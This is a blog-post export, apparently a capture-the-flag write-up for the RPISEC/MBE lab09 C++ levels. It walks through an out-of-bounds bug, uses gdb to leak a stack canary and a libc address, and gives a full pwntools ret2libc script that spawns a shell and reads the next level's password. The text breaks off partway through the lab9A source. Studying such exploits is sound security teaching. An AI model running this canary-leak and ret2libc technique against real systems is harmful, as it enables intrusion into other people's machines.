{"id":435,"date":"2018-03-10T12:51:06","date_gmt":"2018-03-10T12:51:06","guid":{"rendered":"https:\/\/devel0pment.de\/?p=435"},"modified":"2018-05-20T19:54:49","modified_gmt":"2018-05-20T19:54:49","slug":"rpisec-mbe-writeup-lab09-c","status":"publish","type":"post","link":"https:\/\/devel0pment.de\/?p=435","title":{"rendered":"RPISEC\/MBE: writeup lab09 (C++)"},"content":{"rendered":"<p>In <a href=\"https:\/\/devel0pment.de\/?p=425\">the last lab<\/a> we focused on <i>Misc and Stack Cookies<\/i>. In this next to last lab some characteristics when dealing with <i>C++<\/i> are introduced.<\/p>\n<p>The lab contains only two levels:<br \/>\n&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/?p=435#lab9C\">lab9C<\/a><br \/>\n&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/?p=435#lab9A\">lab9A<\/a><\/p>\n<p><!--more--><\/p>\n<hr \/>\n<h1 id=\"lab9C\">lab9C<\/h1>\n<p>The credentials for the first level of this lab are <span style=\"color: #ff0000;\">lab9C<\/span> with the password <span style=\"color: #ff0000;\">lab09start<\/span>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlogin as: lab9C\r\nlab9C@localhost's password: (lab09start)\r\n        ____________________.___  _____________________________\r\n        \\______   \\______   \\   |\/   _____\/\\_   _____\/\\_   ___ \\\r\n         |       _\/|     ___\/   |\\_____  \\  |    __)_ \/    \\  \\\/\r\n         |    |   \\|    |   |   |\/        \\ |        \\\\     \\____\r\n         |____|_  \/|____|   |___\/_______  \/\/_______  \/ \\______  \/\r\n                \\\/                      \\\/         \\\/         \\\/\r\n __      __  _____ ____________________________    _______  ___________\r\n\/  \\    \/  \\\/  _  \\\\______   \\____    \/\\_____  \\   \\      \\ \\_   _____\/\r\n\\   \\\/\\\/   \/  \/_\\  \\|       _\/ \/     \/  \/   |   \\  \/   |   \\ |    __)_\r\n \\        \/    |    \\    |   \\\/     \/_ \/    |    \\\/    |    \\|        \\\r\n  \\__\/\\  \/\\____|__  \/____|_  \/_______ \\\\_______  \/\\____|__  \/_______  \/\r\n       \\\/         \\\/       \\\/        \\\/        \\\/         \\\/        \\\/\r\n\r\n        --------------------------------------------------------\r\n\r\n                       Challenges are in \/levels\r\n                   Passwords are in \/home\/lab*\/.pass\r\n            You can create files or work directories in \/tmp\r\n\r\n         -----------------&#x5B; contact@rpis.ec ]-----------------\r\n<\/pre>\n<p>As usual we start by viewing the source code:<\/p>\n<pre class=\"brush: cpp; first-line: 0; highlight: [28,29,32,36,46,57,59,74,79,82]; title: ; notranslate\" title=\"\">\r\nlab9C@warzone:\/levels\/lab09$ cat lab9C.cpp\r\n\/*\r\n *  compile: g++ -fstack-protector-all -z relro -z now .\/lab9C.cpp -o lab9C\r\n *\r\n *  DSVector - A basic homwork implementation of std::vector\r\n *  This is a wrapper program to test it!\r\n *\/\r\n\r\n#include &lt;iostream&gt;\r\n#include &lt;limits&gt;\r\n#include &lt;cstdlib&gt;\r\n#include &lt;cstdio&gt;\r\n#include &lt;cstring&gt;\r\n#include &lt;unistd.h&gt;\r\n#include &quot;utils.h&quot;\r\n\r\nENABLE_TIMEOUT(60)\r\n\r\nvoid\r\nprint_menu(void)\r\n{\r\n    printf(&quot;+------- DSVector Test Menu -------+\\n&quot;\r\n           &quot;| 1. Append item                   |\\n&quot;\r\n           &quot;| 2. Read item                     |\\n&quot;\r\n           &quot;| 3. Quit                          |\\n&quot;\r\n           &quot;+----------------------------------+\\n&quot;);\r\n}\r\n\r\ntemplate &lt;class T&gt;\r\nclass DSVector {\r\n    public:\r\n                     \/\/ I don't like indexing from 0, I learned VB.NET first.\r\n        DSVector() : len(1), alloc_len(len+256) {}\r\n        unsigned int size() { return len; }\r\n        void append(T item);\r\n                                            \/\/ No info leaks, either!\r\n        T get(unsigned int index) { return (index &lt; alloc_len ? vector_data&#x5B;index] : -1); };\r\n    private:\r\n        unsigned int alloc_len;\r\n        unsigned int len;\r\n        \/\/ I was asleep during the dynamic sizing part, at least you can't overflow!\r\n        T vector_data&#x5B;1+256];\r\n};\r\n\r\ntemplate &lt;class T&gt;\r\nvoid\r\nDSVector&lt;T&gt;::append(T item)\r\n{\r\n    \/\/ No overflow for you!\r\n    if (len &gt;= alloc_len) {\r\n        std::cout &lt;&lt; &quot;Vector is full!&quot; &lt;&lt; std::endl;\r\n        return;\r\n    }\r\n    vector_data&#x5B;this-&gt;len++] = item;\r\n}\r\n\r\nint\r\nmain(int argc, char *argv&#x5B;])\r\n{\r\n    DSVector&lt;int&gt; test1;\r\n    unsigned int choice = 0;\r\n    bool done = false;\r\n    disable_buffering(stdout);\r\n\r\n    while (!done) {\r\n        print_menu();\r\n        std::cout &lt;&lt; &quot;Enter choice: &quot;;\r\n        choice = get_unum();\r\n\r\n        \/* handle menu selection *\/\r\n        switch (choice) {\r\n        case 1:\r\n            std::cout &lt;&lt; &quot;Enter a number: &quot;;\r\n            choice = get_unum();\r\n            test1.append(choice);\r\n            break;\r\n        case 2:\r\n            std::cout &lt;&lt; &quot;Choose an index: &quot;;\r\n            choice = get_unum();\r\n            printf(&quot;DSVector&#x5B;%d] = %d\\n&quot;, choice, test1.get(choice));\r\n            break;\r\n        case 3:\r\n            done = true;\r\n            break;\r\n        default:\r\n            puts(&quot;Invalid choice!&quot;);\r\n            break;\r\n        }\r\n    }\r\n\r\n    return EXIT_SUCCESS;\r\n}\r\n<\/pre>\n<p>What does the program do?<br \/>\n&#8211;&gt; Within the source file a template class called <code>DSVector<\/code> is declared (lines 28-29) which serves as a wrapper for an array.<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; The class contains three attributes: two unsigned int <code>len<\/code>, <code>alloc_len<\/code> and an array <code>vector_data<\/code>.<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; Also there are four methods: the constructor (<code>DSVector()<\/code> on line 32), <code>size<\/code>, <code>append<\/code> and <code>get<\/code>.<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <code>get<\/code> (line 36) simply returns an element of the internal array when the index is smaller than <code>index<\/code>.<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <code>append<\/code> (line 46) takes an element and adds it to the internal array if <code>len<\/code> has not reached <code>alloc_len<\/code> yet.<br \/>\n&#8211;&gt; Within the <code>main<\/code> function (line 57) an object of <code>DSVector<\/code> called <code>test1<\/code> is instantiated providing the template type <code>int<\/code> (line 59).<br \/>\n&#8211;&gt; After this the user can append (line 74) or read (line 79) an item to \/ from the vector. The program keeps looping until the user chooses <code>3. Quit<\/code> (line 82).<\/p>\n<p>Again the challenge is remote:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab9C@warzone:\/levels\/lab09$ cat lab9C.readme\r\nnc wargame.server.example 9943\r\n<\/pre>\n<p>Where is the vulnerability within the program?<\/p>\n<p>The usual way to spot a vulnerability is to audit the source code. Nevertheless it is also worth playing around with the program and look out for unusual behavior:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,7,8,9,15,16,17]; title: ; notranslate\" title=\"\">\r\nlab9C@warzone:\/levels\/lab09$ .\/lab9C\r\n+------- DSVector Test Menu -------+\r\n| 1. Append item                   |\r\n| 2. Read item                     |\r\n| 3. Quit                          |\r\n+----------------------------------+\r\nEnter choice: 2\r\nChoose an index: 7\r\nDSVector&#x5B;7] = 2\r\n+------- DSVector Test Menu -------+\r\n| 1. Append item                   |\r\n| 2. Read item                     |\r\n| 3. Quit                          |\r\n+----------------------------------+\r\nEnter choice: 2\r\nChoose an index: 8\r\nDSVector&#x5B;8] = -1217723862\r\n<\/pre>\n<p>We can read items from the vector even if we have not added anything before.<\/p>\n<p>Let&#8217;s reconsider the method responsible for this:<\/p>\n<pre class=\"brush: cpp; first-line: 36; title: ; notranslate\" title=\"\">\r\n        T get(unsigned int index) { return (index &lt; alloc_len ? vector_data&#x5B;index] : -1); };\r\n<\/pre>\n<p><code>get<\/code> only tests if the provided index is smaller than <code>alloc_len<\/code> but not if it is smaller than the actual length (<code>len<\/code>) which is incremented on each call to <code>append<\/code>.<\/p>\n<p>What else can we do?<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [6,7,8,14,15,16]; title: ; notranslate\" title=\"\">\r\n+------- DSVector Test Menu -------+\r\n| 1. Append item                   |\r\n| 2. Read item                     |\r\n| 3. Quit                          |\r\n+----------------------------------+\r\nEnter choice: 2\r\nChoose an index: 257\r\nDSVector&#x5B;257] = 484744448\r\n+------- DSVector Test Menu -------+\r\n| 1. Append item                   |\r\n| 2. Read item                     |\r\n| 3. Quit                          |\r\n+----------------------------------+\r\nEnter choice: 2\r\nChoose an index: 258\r\nDSVector&#x5B;258] = -1216802432\r\n<\/pre>\n<p>This is strange. We can also read from indices beyond 257? But <code>get<\/code> should test if the index is smaller than <code>alloc_len<\/code>. And <code>alloc_len<\/code> should have been initialized with 257!?<\/p>\n<pre class=\"brush: cpp; first-line: 32; title: ; notranslate\" title=\"\">\r\n        DSVector() : len(1), alloc_len(len+256) {}\r\n<\/pre>\n<p>Let&#8217;s add some values to the vector and inspect the memory using <code>gdb<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,3,11,12,14,15,17,18,20,22,28,31,32]; title: ; notranslate\" title=\"\">\r\nlab9C@warzone:\/levels\/lab09$ gdb lab9C\r\nReading symbols from lab9C...(no debugging symbols found)...done.\r\ngdb-peda$ r\r\nStarting program: \/levels\/lab09\/lab9C\r\n\r\n+------- DSVector Test Menu -------+\r\n| 1. Append item                   |\r\n| 2. Read item                     |\r\n| 3. Quit                          |\r\n+----------------------------------+\r\nEnter choice: 1\r\nEnter a number: 1337\r\n...\r\nEnter choice: 1\r\nEnter a number: 1337\r\n...\r\nEnter choice: 1\r\nEnter a number: 1337\r\n...\r\nEnter choice: ^C\r\n...\r\ngdb-peda$ searchmem 0x539\r\n...\r\n            &#x5B;stack] : 0xbffff2dc --&gt; 0x539\r\n            &#x5B;stack] : 0xbffff2ec --&gt; 0x539\r\n            &#x5B;stack] : 0xbffff2f0 --&gt; 0x539\r\n            &#x5B;stack] : 0xbffff2f4 --&gt; 0x539\r\ngdb-peda$ x\/40xw 0xbffff2dc - 0x20\r\n0xbffff2bc:     0x00000000      0x00000000      0xb7fe6dcd      0xbffff794\r\n0xbffff2cc:     0x00000001      0x00000000      0xb7fea8f0      0x00fff5d8\r\n0xbffff2dc:     0x00000539      0xb7fe6ecd      0x00000004      0xb7d49ffd\r\n0xbffff2ec:     0x00000539      0x00000539      0x00000539      0xb7d39034\r\n0xbffff2fc:     0x00000002      0xb7d36604      0x00000002      0xb7f2022a\r\n0xbffff30c:     0xb7fdaacc      0xbffff300      0xb7fff000      0xb7d3ac80\r\n0xbffff31c:     0x00000002      0xb7d36604      0xb7fe7524      0xb7f2022a\r\n0xbffff32c:     0xb7fdaacc      0xb7d3c9e8      0xb7fe6dcd      0xb7d36604\r\n0xbffff33c:     0x00000006      0xbffff370      0x00e49cb2      0x1c93965e\r\n0xbffff34c:     0xb7d3aec8      0xb7d43b18      0xb7fe6dcd      0xb7f20270\r\n<\/pre>\n<p>I added the value 1337 = 0x539 three times and found the stored values on the stack. Having the source code in mind we can now relate the values in memory to the variables:<\/p>\n<pre>\r\n0xbffff2e0: 0xb7fe6ecd  <-- alloc_len\r\n0xb7fe6ee4: 0x00000004  <-- len\r\n0xb7fe6ee8: 0xb7d49ffd  <-- vector_data[0]\r\n0xb7fe6eec: 0x00000539  <-- vector_data[1]\r\n0xbffff2f0: 0x00000539  <-- vector_data[2]\r\n0xbffff2f4: 0x00000539  <-- vector_data[3]\r\n...\r\n<\/pre>\n<p>The element <code>vector_data[0]<\/code> is not initialized because the first index used is <code>1<\/code>. But what is that value in <code>alloc_len<\/code>? It is definitely not 257 as we might expected.<\/p>\n<p>The reason for this can be found in the following to parts of the source code:<\/p>\n<pre class=\"brush: cpp; first-line: 32; title: ; notranslate\" title=\"\">\r\n        DSVector() : len(1), alloc_len(len+256) {}\r\n<\/pre>\n<pre class=\"brush: cpp; first-line: 38; title: ; notranslate\" title=\"\">\r\n        unsigned int alloc_len;\r\n        unsigned int len;\r\n<\/pre>\n<p>Within the initialization list in the constructor <code>len<\/code> is initialized at first. After this <code>alloc_len<\/code> is set to <code>len+256<\/code>. But both attributes are declared the other way around: <code>alloc_len<\/code> is declared at first and then <code>len<\/code>. The initialization list uses this ordering and not the order the attributes are listed in it! This means that <code>alloc_len<\/code> is initialized with the uninitialized <code>len + 256<\/code>. After this <code>len<\/code> is set to <code>1<\/code>.<\/p>\n<p>Because of this vulnerability we can read beyond the array and also overflow the array. Our goal is to use <i>ret2libc<\/i> to call <code>system(\"\/bin\/sh\")<\/code>. In order to do this we have to:<br \/>\n&#8211;&gt; Leak the stack canary since the <code>ret<\/code> instruction at the end of the function is not executed when we overwrite the stack canary with an invalid value.<br \/>\n&#8211;&gt; Leak a libc address to calculate the offset to <code>system<\/code> and the string <code>\/bin\/sh<\/code>.<\/p>\n<p>Let's start by determining where the stack canary and the return address are stored by setting breakpoints at the appropriate location within the <code>main<\/code> function:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,3,14,15,18,20]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ disassemble main\r\nDump of assembler code for function main:\r\n   0x00000e0f &lt;+0&gt;:     push   ebp\r\n   0x00000e10 &lt;+1&gt;:     mov    ebp,esp\r\n   0x00000e12 &lt;+3&gt;:     push   ebx\r\n   0x00000e13 &lt;+4&gt;:     and    esp,0xfffffff0\r\n   0x00000e16 &lt;+7&gt;:     sub    esp,0x440\r\n   0x00000e1c &lt;+13&gt;:    call   0xb60 &lt;__x86.get_pc_thunk.bx&gt;\r\n   0x00000e21 &lt;+18&gt;:    add    ebx,0x216b\r\n   0x00000e27 &lt;+24&gt;:    mov    eax,DWORD PTR &#x5B;ebp+0x8]\r\n   0x00000e2a &lt;+27&gt;:    mov    DWORD PTR &#x5B;esp+0x1c],eax\r\n   0x00000e2e &lt;+31&gt;:    mov    eax,DWORD PTR &#x5B;ebp+0xc]\r\n   0x00000e31 &lt;+34&gt;:    mov    DWORD PTR &#x5B;esp+0x18],eax\r\n   0x00000e35 &lt;+38&gt;:    mov    eax,gs:0x14\r\n   0x00000e3b &lt;+44&gt;:    mov    DWORD PTR &#x5B;esp+0x43c],eax\r\n   ...\r\nEnd of assembler dump.\r\ngdb-peda$ b *main\r\nBreakpoint 1 at 0xe0f\r\ngdb-peda$ b *main+44\r\nBreakpoint 2 at 0xe3b\r\n<\/pre>\n<p>At the first breakpoint we can see where the return address is stored:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,18,24]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ r\r\nStarting program: \/levels\/lab09\/lab9C\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0x1\r\nEBX: 0xb7ee1000 --&gt; 0x1a9da8\r\nECX: 0x91c141ca\r\nEDX: 0xbffff724 --&gt; 0xb7ee1000 --&gt; 0x1a9da8\r\nESI: 0x0\r\nEDI: 0x0\r\nEBP: 0x0\r\nESP: 0xbffff6fc --&gt; 0xb7d50a83 (&lt;__libc_start_main+243&gt;:        mov    DWORD PTR &#x5B;esp],eax)\r\nEIP: 0x80000e0f (&lt;main&gt;:        push   ebp)\r\nEFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\n   0x80000e0c &lt;_Z10print_menuv+63&gt;:     pop    ebx\r\n   0x80000e0d &lt;_Z10print_menuv+64&gt;:     pop    ebp\r\n   0x80000e0e &lt;_Z10print_menuv+65&gt;:     ret\r\n=&gt; 0x80000e0f &lt;main&gt;:   push   ebp\r\n   0x80000e10 &lt;main+1&gt;: mov    ebp,esp\r\n   0x80000e12 &lt;main+3&gt;: push   ebx\r\n   0x80000e13 &lt;main+4&gt;: and    esp,0xfffffff0\r\n   0x80000e16 &lt;main+7&gt;: sub    esp,0x440\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xbffff6fc --&gt; 0xb7d50a83 (&lt;__libc_start_main+243&gt;:       mov    DWORD PTR &#x5B;esp],eax)\r\n0004| 0xbffff700 --&gt; 0x1\r\n0008| 0xbffff704 --&gt; 0xbffff794 --&gt; 0xbffff8b6 (&quot;\/levels\/lab09\/lab9C&quot;)\r\n0012| 0xbffff708 --&gt; 0xbffff79c --&gt; 0xbffff8ca (&quot;XDG_SESSION_ID=30&quot;)\r\n0016| 0xbffff70c --&gt; 0xb7feccea (&lt;call_init+26&gt;:        add    ebx,0x12316)\r\n0020| 0xbffff710 --&gt; 0x1\r\n0024| 0xbffff714 --&gt; 0xbffff794 --&gt; 0xbffff8b6 (&quot;\/levels\/lab09\/lab9C&quot;)\r\n0028| 0xbffff718 --&gt; 0xbffff79c --&gt; 0xbffff8ca (&quot;XDG_SESSION_ID=30&quot;)\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\n\r\nBreakpoint 1, 0x80000e0f in main ()\r\n<\/pre>\n<p>The return address is stored at <code>0xbffff6fc<\/code>.<\/p>\n<p>At the second breakpoint we can see what value is used for the stack canary:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,4,17]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ c\r\nContinuing.\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0x5fce5b00\r\nEBX: 0x80002f8c --&gt; 0x2e8c\r\nECX: 0x91c141ca\r\nEDX: 0xbffff724 --&gt; 0xb7ee1000 --&gt; 0x1a9da8\r\nESI: 0x0\r\nEDI: 0x0\r\nEBP: 0xbffff6f8 --&gt; 0x0\r\nESP: 0xbffff2b0 --&gt; 0xbffff5a8 --&gt; 0x6\r\nEIP: 0x80000e3b (&lt;main+44&gt;:     mov    DWORD PTR &#x5B;esp+0x43c],eax)\r\nEFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\n   0x80000e2e &lt;main+31&gt;:        mov    eax,DWORD PTR &#x5B;ebp+0xc]\r\n   0x80000e31 &lt;main+34&gt;:        mov    DWORD PTR &#x5B;esp+0x18],eax\r\n   0x80000e35 &lt;main+38&gt;:        mov    eax,gs:0x14\r\n=&gt; 0x80000e3b &lt;main+44&gt;:        mov    DWORD PTR &#x5B;esp+0x43c],eax\r\n   0x80000e42 &lt;main+51&gt;:        xor    eax,eax\r\n   0x80000e44 &lt;main+53&gt;:        lea    eax,&#x5B;esp+0x30]\r\n   0x80000e48 &lt;main+57&gt;:        mov    DWORD PTR &#x5B;esp],eax\r\n   0x80000e4b &lt;main+60&gt;:        call   0x80001050 &lt;_ZN8DSVectorIiEC2Ev&gt;\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xbffff2b0 --&gt; 0xbffff5a8 --&gt; 0x6\r\n0004| 0xbffff2b4 --&gt; 0x0\r\n0008| 0xbffff2b8 --&gt; 0xbffff2d8 --&gt; 0xbffff5d8 --&gt; 0xb7fc5000 --&gt; 0xdfa7c\r\n0012| 0xbffff2bc --&gt; 0xb7fea930 (&lt;openaux+64&gt;:  mov    DWORD PTR &#x5B;esi+0x14],eax)\r\n0016| 0xbffff2c0 --&gt; 0x0\r\n0020| 0xbffff2c4 --&gt; 0xb7fe6dcd (&lt;check_match+285&gt;:     mov    ecx,DWORD PTR &#x5B;esp+0x1c])\r\n0024| 0xbffff2c8 --&gt; 0xbffff794 --&gt; 0xbffff8b6 (&quot;\/levels\/lab09\/lab9C&quot;)\r\n0028| 0xbffff2cc --&gt; 0x1\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\n\r\nBreakpoint 2, 0x80000e3b in main ()\r\n<\/pre>\n<p>The value used as stack canary is <code>0x5fce5b00<\/code>.<\/p>\n<p>Now let's add a value to the vector in order to locate the vector on the stack:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,8,9,15,17,21,24,25,28,29,31,32,33,34]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ c\r\nContinuing.\r\n+------- DSVector Test Menu -------+\r\n| 1. Append item                   |\r\n| 2. Read item                     |\r\n| 3. Quit                          |\r\n+----------------------------------+\r\nEnter choice: 1\r\nEnter a number: 1337\r\n+------- DSVector Test Menu -------+\r\n| 1. Append item                   |\r\n| 2. Read item                     |\r\n| 3. Quit                          |\r\n+----------------------------------+\r\nEnter choice: ^C\r\n...\r\ngdb-peda$ searchmem 0x539\r\nSearching for '0x539' in: None ranges\r\nFound 17 results, display max 17 items:\r\n...\r\n            &#x5B;stack] : 0xbffff2dc --&gt; 0x539\r\n            &#x5B;stack] : 0xbffff2ec --&gt; 0x539\r\ngdb-peda$ x\/300xw 0xbffff2dc\r\n0xbffff2dc:     0x00000539      0xb7fe6ecd      0x00000002      0xb7d49ffd\r\n0xbffff2ec:     0x00000539      0x00000000      0xb7fff000      0xb7d39034\r\n...\r\n0xbffff6dc:     0xb7d6a42d      0xb7ee13c4      0xb7d6a416      0x8000118b\r\n0xbffff6ec:     0x5fce5b00      0x80001180      0xb7ee1000      0x00000000\r\n0xbffff6fc:     0xb7d50a83      0x00000001      0xbffff794      0xbffff79c\r\n...\r\ngdb-peda$ p (0xbffff6ec - 0xbffff2e8) \/ 4\r\n$1 = 0x101\r\ngdb-peda$ p (0xbffff6fc - 0xbffff2e8) \/ 4\r\n$2 = 0x105\r\n<\/pre>\n<p>The member array <code>vector_data<\/code> begins at <code>0xbffff2e8<\/code> (the first value <code>vector_data[0]<\/code> being <code>0xb7d49ffd<\/code>). The stack canary is located at <code>0xbffff6ec<\/code> and the return address at <code>0xbffff6fc<\/code> (as we already figured out). This means that we can reference the stack canary with index 257 (<code>0x101<\/code>) and the return address with 261 (<code>0x105<\/code>).<\/p>\n<p>Since the return address is already a libc address (<code>__libc_start_main+243<\/code>), we can use this address to calculate the address of <code>system<\/code> and <code>\"\/bin\/sh\"<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [2,8]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ p system - 0xb7d50a83\r\n$3 = (&lt;text variable, no debug info&gt; *) 0x2670d\r\ngdb-peda$ searchmem &quot;\/bin\/sh&quot;\r\nSearching for '\/bin\/sh' in: None ranges\r\nFound 1 results, display max 1 items:\r\nlibc : 0xb7e97a24 (&quot;\/bin\/sh&quot;)\r\ngdb-peda$ p 0xb7e97a24 - 0xb7d50a83\r\n$4 = 0x146fa1\r\n<\/pre>\n<p>We now have all information needed to implement the exploit. The final python-script will do the following:<br \/>\n&#8211;&gt; Leak the stack canary (index 257).<br \/>\n&#8211;&gt; Leak the return address of <code>main<\/code> (index 261).<br \/>\n&#8211;&gt; Calculate the address of <code>system<\/code> and string <code>\"\/bin\/sh\"<\/code>.<br \/>\n&#8211;&gt; Store 256 values.<br \/>\n&#8211;&gt; Store the stack canary (first overflowing value).<br \/>\n&#8211;&gt; Store another 3 values (offset to return address).<br \/>\n&#8211;&gt; Store address of <code>system<\/code> (overwrite return address).<br \/>\n&#8211;&gt; Store another value (return address after call to <code>system<\/code>).<br \/>\n&#8211;&gt; Store address of string <code>\"\/bin\/sh\"<\/code> (argument for <code>system<\/code>).<br \/>\n&#8211;&gt; Choose <code>3. Quit<\/code> to trigger <code>ret<\/code> instruction.<\/p>\n<pre class=\"brush: python; first-line: 0; title: ; notranslate\" title=\"\">\r\nlab9C@warzone:\/levels\/lab09$ cat \/tmp\/exploit_lab9C.py\r\nfrom pwn import *\r\n\r\ndef append(p, x):\r\n  p.sendline(&quot;1&quot;)\r\n  p.sendline(str(x))\r\n  p.recv(1000)\r\n  \r\ndef leak(p, x):\r\n  p.sendline(&quot;2&quot;)\r\n  p.sendline(str(x))\r\n  p.recvuntil(str(x)+&quot;] = &quot;)\r\n  ret = p.recv(100)\r\n  leak = int(ret&#x5B;0:ret.index(&quot;\\n&quot;)], 10)\r\n  if (leak &lt; 0): leak = -((leak-1)^0xffffffff)\r\n  return leak\r\n\r\n\r\np = remote(&quot;localhost&quot;, 9943)\r\np.recv(1000)\r\n\r\n# leak stack canary\r\nstack_can = leak(p, 257)\r\nlog.success(&quot;stack_canary: &quot; + hex(stack_can))\r\n\r\n# leak stack canary + 3 dword + return address\r\nleak = leak(p, 261)\r\nlog.success(&quot;leak: &quot; + hex(leak))\r\n\r\naddr_system = leak + 0x2670d\r\naddr_binsh  = leak + 0x146fa1\r\n\r\nfor i in range(256):\r\n  append(p, 1337)\r\n\r\nappend(p, stack_can)\r\n\r\nfor i in range(3):\r\n  append(p, 1337)\r\n\r\nappend(p, addr_system)\r\nappend(p, 1337)\r\nappend(p, addr_binsh)\r\n\r\np.sendline(&quot;3&quot;)\r\np.recv(1000)\r\n\r\np.interactive()\r\n<\/pre>\n<p>Running the script:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab9C@warzone:\/levels\/lab09$ python \/tmp\/exploit_lab9C.py\r\n&#x5B;+] Opening connection to localhost on port 9943: Done\r\n&#x5B;+] stack_canary: 0x2c50f100\r\n&#x5B;+] leak: 0xb7460a83\r\n&#x5B;*] Switching to interactive mode\r\n$ id\r\nuid=1034(lab9A) gid=1035(lab9A) groups=1035(lab9A),1001(gameuser)\r\n$ cat \/home\/lab9A\/.pass\r\n1_th0uGht_th4t_w4rn1ng_wa5_l4m3\r\n<\/pre>\n<p>Done! The password for the next level is <code>1_th0uGht_th4t_w4rn1ng_wa5_l4m3<\/code>.<\/p>\n<hr \/>\n<h1 id=\"lab9A\">lab9A<\/h1>\n<p>The credentials for this level are <span style=\"color: #ff0000;\">lab9A<\/span> with the password <span style=\"color: #ff0000;\">1_th0uGht_th4t_w4rn1ng_wa5_l4m3<\/span>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlogin as: lab9A\r\nlab9A@localhost's password: (1_th0uGht_th4t_w4rn1ng_wa5_l4m3)\r\n        ____________________.___  _____________________________\r\n        \\______   \\______   \\   |\/   _____\/\\_   _____\/\\_   ___ \\\r\n         |       _\/|     ___\/   |\\_____  \\  |    __)_ \/    \\  \\\/\r\n         |    |   \\|    |   |   |\/        \\ |        \\\\     \\____\r\n         |____|_  \/|____|   |___\/_______  \/\/_______  \/ \\______  \/\r\n                \\\/                      \\\/         \\\/         \\\/\r\n __      __  _____ ____________________________    _______  ___________\r\n\/  \\    \/  \\\/  _  \\\\______   \\____    \/\\_____  \\   \\      \\ \\_   _____\/\r\n\\   \\\/\\\/   \/  \/_\\  \\|       _\/ \/     \/  \/   |   \\  \/   |   \\ |    __)_\r\n \\        \/    |    \\    |   \\\/     \/_ \/    |    \\\/    |    \\|        \\\r\n  \\__\/\\  \/\\____|__  \/____|_  \/_______ \\\\_______  \/\\____|__  \/_______  \/\r\n       \\\/         \\\/       \\\/        \\\/        \\\/         \\\/        \\\/\r\n\r\n        --------------------------------------------------------\r\n\r\n                       Challenges are in \/levels\r\n                   Passwords are in \/home\/lab*\/.pass\r\n            You can create files or work directories in \/tmp\r\n\r\n         -----------------&#x5B; contact@rpis.ec ]-----------------\r\n<\/pre>\n<p>Let's have a look at the source code:<\/p>\n<pre class=\"brush: cpp; first-line: 0; highlight: [45,46,48,49,50,51,52,54,55,56,58,62,70,77,88,107,125,150,159,163,165]; title: ; notranslate\" title=\"\">\r\nlab9A@warzone:\/levels\/lab09$ cat lab9A.cpp\r\n\/*\r\n * compile: g++ -fstack-protector-all -z relro -z now -O1 -fPIE -pie .\/lab9A.cpp -g -o lab9A\r\n * clark's improved item storage server!\r\n * Changelog:\r\n *   * Using HashSets for insta-access!\r\n *\r\n*\/\r\n\r\n#include &lt;iostream&gt;\r\n#include &lt;cstdlib&gt;\r\n#include &lt;cstdio&gt;\r\n#include &lt;unistd.h&gt;\r\n#include &quot;utils.h&quot;\r\n\r\nENABLE_TIMEOUT(300)\r\n\r\n#define SIZE_HASHSET_VEC 8\r\n\r\nvoid\r\nprint_menu(void)\r\n{\r\n    printf(&quot;+----------- clark's improved item storage -----------+\\n&quot;\r\n           &quot;| &#x5B; -- Now using HashSets for insta-access to items!  |\\n&quot;\r\n           &quot;| 1. Open a lockbox                                   |\\n&quot;\r\n           &quot;| 2. Add an item to a lockbox                         |\\n&quot;\r\n           &quot;| 3. Get an item from a lockbox                       |\\n&quot;\r\n           &quot;| 4. Destroy your lockbox and items in it             |\\n&quot;\r\n           &quot;| 5. Exit                                             |\\n&quot;\r\n           &quot;+-----------------------------------------------------+\\n&quot;);\r\n}\r\n\r\n\/********* Storage implementation **********\/\r\n\r\n\/\/ hash functor\r\nclass hash_num {\r\n    public:\r\n        \/\/ I'm no mathematician\r\n        unsigned int\r\n        operator() (unsigned int const &amp;key) const {\r\n            return key;\r\n        }\r\n};\r\n\r\n\/\/ Hashset\r\ntemplate&lt;class T, class HashFunc&gt;\r\nclass HashSet {\r\n    public:\r\n        HashSet(unsigned int size) : m_size(size), set_data(new T&#x5B;size]) {}\r\n        virtual ~HashSet() { delete &#x5B;] set_data; }\r\n        virtual void add(T val);\r\n        virtual unsigned int find(T val);\r\n        virtual T get(unsigned int);\r\n    private:\r\n        unsigned int m_size;\r\n        HashFunc m_hash;\r\n        T *set_data;\r\n};\r\ntypedef HashSet&lt;int, hash_num&gt; hashset_int;\r\n\r\ntemplate&lt;class T, class HashFunc&gt;\r\nvoid\r\nHashSet&lt;T, HashFunc&gt;::add(T val)\r\n{\r\n    int index = this-&gt;m_hash(val) % this-&gt;m_size;\r\n    